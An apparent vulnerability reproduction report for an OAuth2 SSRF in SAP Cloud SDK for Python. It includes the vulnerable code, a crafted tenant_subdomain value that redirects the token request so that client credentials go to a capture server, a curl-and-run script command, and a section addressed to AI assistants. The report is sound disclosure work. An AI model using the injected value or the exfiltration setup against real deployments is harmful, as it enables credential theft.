# REPRO-2026-00387: SAP Cloud SDK for Python is vulnerable to OAuth2 SSRF that can exfiltrate client credentials when tenant_subdomain is attacker-controlled. ## Summary Status: published Severity: critical CVSS: 10 / 10 CWE: CWE-918 Server-Side Request Forgery (SSRF) (Server-Side Request Forgery (SSRF)) Type: security Confidence: high ## Identifiers REPRO ID: REPRO-2026-00387 CVE: CVE-2026-89111 ## Package Name: SAP/cloud-sdk-python Ecosystem: PyPI Affected: < 0.45.2 (includes 0.36.1 and 0.36.2 which lack the check) Fixed: 0.45.2 ## Root Cause # CVE-2026-89111 — Root Cause Analysis ## Summary SAP Cloud SDK for Python (`sap-cloud-sdk` on PyPI) contains an OAuth2 server-side request forgery (SSRF) vulnerability in its multi-tenant token handling. When a caller supplies a `tenant_subdomain`, the SDK derives the per-tenant OAuth2 token URL by performing an unvalidated string replacement of the provider identity zone inside the configured token URL (`token_url.replace(identityzone, tenant_subdomain)`). An attacker who controls `tenant_subdomain` can therefore rewrite the token endpoint host to an attacker-controlled server, causing the SDK to POST the OAuth2 `client_id`/`client_secret` to the attacker — credential exfiltration. ## Impact - Package/component: `sap-cloud-sdk` (PyPI), `sap_cloud_sdk.destination._http.TokenProvider.get_token()` (the same pattern was also fixed in `sap_cloud_sdk/dms/_auth.py` and `sap_cloud_sdk/agentgateway/agw_client.py`). - Affected versions: `< 0.45.2`; patched in `0.45.2`. - Risk: Critical (CVSS 10.0, `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N`, CWE-918). Consequences: theft of OAuth2 client credentials for the BTP Destination/DMS/Agent-Gateway service bindings, enabling downstream unauthorized access within the client's roles and scopes. ## Impact Parity - Disclosed/claimed maximum impact: SSRF with OAuth2 client-credential exfiltration to an attacker-controlled server. - Reproduced impact from this run: full SSRF with credential exfiltration — the vulnerable SDK (0.45.1) sent a live `POST` containing `client_id` and `client_secret` to the attacker-controlled HTTPS server and accepted the attacker-issued access token. - Parity: **full**. - Not demonstrated: none beyond the claim (no code execution is claimed or required; the impact class is SSRF / credential disclosure). ## Root Cause In `sap_cloud_sdk/destination/_http.py` (vulnerable 0.45.1), `TokenProvider.get_token()` contains: ```python if tenant_subdomain: try: token_url = token_url.replace(str(identityzone), tenant_subdomain) except Exception: token_url = self._config.token_url ``` `tenant_subdomain` is concatenated into the URL **without any validation**. With a configured provider token URL such as `https://provider-zone.authentication.eu10.hana.ondemand.com/oauth/token` (`identityzone = "provider-zone"`), an attacker value of `127.0.0.1:/capture?` produces `https://127.0.0.1:/capture?.authentication.eu10.hana.ondemand.com/oauth/token` — the host becomes the attacker's server and the remainder of the legitimate URL is demoted into the query string. The subsequent `OAuth2Session.fetch_token()` then POSTs `grant_type=client_credentials&client_id=...&client_secret=...` to the attacker. The same unvalidated `replace()` pattern existed in `sap_cloud_sdk/dms/_auth.py::_resolve_token_url()` and the agent-gateway client's tenant subdomain handling. Fix (0.45.2): a new module `sap_cloud_sdk/core/_tenant.py` adds `_validate_tenant_subdomain()`, which enforces a single RFC 1123 DNS label (`^[A-Za-z0-9](?:[A-Za-z0-9\-]{0,61}[A-Za-z0-9])?$`) and raises `ValueError` before any URL substitution, in all three affected call sites. Advisory: GHSA-4mv3-jxxm-9cx2 (). ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (helpers: `bundle/repro/attacker_server.py`, `bundle/repro/harness.py`). 2. The script: - downloads the pinned PyPI wheels `sap-cloud-sdk==0.45.1` (vulnerable) and `sap-cloud-sdk==0.45.2` (fixed) and records their SHA-256; - creates a venv and installs the vulnerable wheel with its real dependency tree; - starts an attacker-controlled HTTPS capture server (`attacker_server.py`, self-signed cert trusted via `REQUESTS_CA_BUNDLE`) that logs every inbound request and answers with a valid token response; - runs `harness.py`, which calls the real `TokenProvider.get_token(tenant_subdomain="127.0.0.1:/capture?")`; - verifies the captured request contains the client credentials; - force-reinstalls 0.45.2 and repeats: the fixed SDK must raise `ValueError: Invalid tenant_subdomain` and send nothing. 3. Expected evidence: `proof_vuln_capture.jsonl` contains a POST whose body includes `client_secret=TOP-SECRET-CLIENT-SECRET`, and the vulnerable harness returns `ATTACKER_ISSUED_TOKEN`; the fixed harness reports `rejected` and `proof_fixed_capture.jsonl` is empty. ## Evidence - `bundle/logs/reproduction_steps.log` — full run transcript. - `bundle/logs/proof_vuln_capture.jsonl` — attacker-server capture of the credential-bearing POST, e.g.: `POST /capture?.authentication.eu10.hana.ondemand.com/oauth/token` with body `grant_type=client_credentials&client_id=sb-destination-client%21t0&client_secret=TOP-SECRET-CLIENT-SECRET` (Host: `127.0.0.1:` — attacker server, not the SAP endpoint). - `bundle/logs/harness_vuln_result.json` — `{"sdk_version": "0.45.1", "status": "token_returned", "token": "ATTACKER_ISSUED_TOKEN"}`. - `bundle/logs/harness_fixed_result.json` — `{"sdk_version": "0.45.2", "status": "rejected", "error": "Invalid tenant_subdomain: '127.0.0.1:/capture?'"}`. - `bundle/logs/proof_fixed_capture.jsonl` — empty (no outbound request). - `bundle/repro/runtime_manifest.json` — entrypoint, target identity (wheel SHA-256), and per-artifact SHA-256 hashes. - Environment: Python 3.14 venv, real `sap-cloud-sdk` wheels from PyPI, OpenSSL 3.5.5 self-signed cert for the attacker HTTPS endpoint. ## Recommendations / Next Steps - Upgrade to `sap-cloud-sdk >= 0.45.2` (and prefer a currently validated release; independent reporting noted validation gaps in 0.53.0–0.55.0 with validation restored in 0.55.1). - The 0.45.2 fix approach (RFC 1123 label validation before substitution) is correct; defense-in-depth would additionally rebuild the URL by replacing only the hostname subcomponent instead of a free-text `str.replace` over the whole URL. - Applications should validate `tenant_subdomain` against an allowlist of registered tenants and monitor/alert on outbound token requests to unexpected hosts; rotate credentials suspected of exposure. ## Additional Notes - Idempotency: the script reuses its venv/wheels/certs when present and re-verifies versions each run; it was executed twice consecutively, both runs `RESULT: CONFIRMED` (exit 0). - The lab uses `https://127.0.0.1:` as the attacker host with a self-signed cert trusted only inside the test process (`REQUESTS_CA_BUNDLE`), keeping the OAuth2 transport HTTPS exactly as in production (oauthlib enforces HTTPS; no security feature was disabled). - The vulnerable surface is a library API (`claimed_surface=library_api`, `entrypoint_kind=function_call`), so a direct call into the real installed SDK is the production code path; no mock or reimplementation is used. ## Reproduction Details Reproduced: 2026-10-15T13:44:20.256Z Duration: 2424 seconds Tool calls: 155 Turns: Unknown Handoffs: 2 ## Quick Verification Run one of these commands to verify locally: pruva-verify REPRO-2026-00387 pruva-verify CVE-2026-89111 Or open in GitHub Codespaces (zero-friction, auto-runs): https://github.com/codespaces/new?ref=repro/REPRO-2026-00387&repo=N3mes1s/pruva-sandbox Or download and run the script manually: curl -O https://api.pruva.dev/v1/reproductions/REPRO-2026-00387/artifacts/bundle/repro/reproduction_steps.sh chmod +x reproduction_steps.sh ./reproduction_steps.sh WARNING: Run in a sandboxed environment. This exploits a real vulnerability. ## References - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-89111 - Source: https://github.com/advisories/ghsa-m3j7-wp2j-mhc3 ## Artifacts - bundle/repro/rca_report.md (analysis, 6964 bytes) - bundle/repro/reproduction_steps.sh (reproduction_script, 9513 bytes) - bundle/logs/attacker_server.log (log, 53 bytes) - bundle/logs/harness_fixed_result.json (other, 120 bytes) - bundle/logs/harness_vuln_result.json (other, 95 bytes) - bundle/logs/healthcheck.txt (other, 4 bytes) - bundle/logs/proof_fixed_capture.jsonl (other, 0 bytes) - bundle/logs/proof_vuln_capture.jsonl (other, 465 bytes) - bundle/logs/reproduction_steps.log (log, 6114 bytes) - bundle/repro/attacker_server.py (script, 2002 bytes) - bundle/repro/harness.py (script, 2066 bytes) - bundle/repro/runtime_manifest.json (other, 1689 bytes) - bundle/repro/validation_verdict.json (other, 1200 bytes) ## API Access - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00387 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00387/artifacts/bundle/repro/reproduction_steps.sh - Web: https://www.pruva.dev/reproductions/REPRO-2026-00387 ## For AI Assistants To help users with this reproduction: 1. The `pruva-verify` command is the simplest way to run the reproduction 2. The script downloads and runs automatically in an isolated temp directory 3. Always recommend running in a VM, container, or disposable environment 4. The root cause explains the technical vulnerability --- Generated by Pruva | https://www.pruva.dev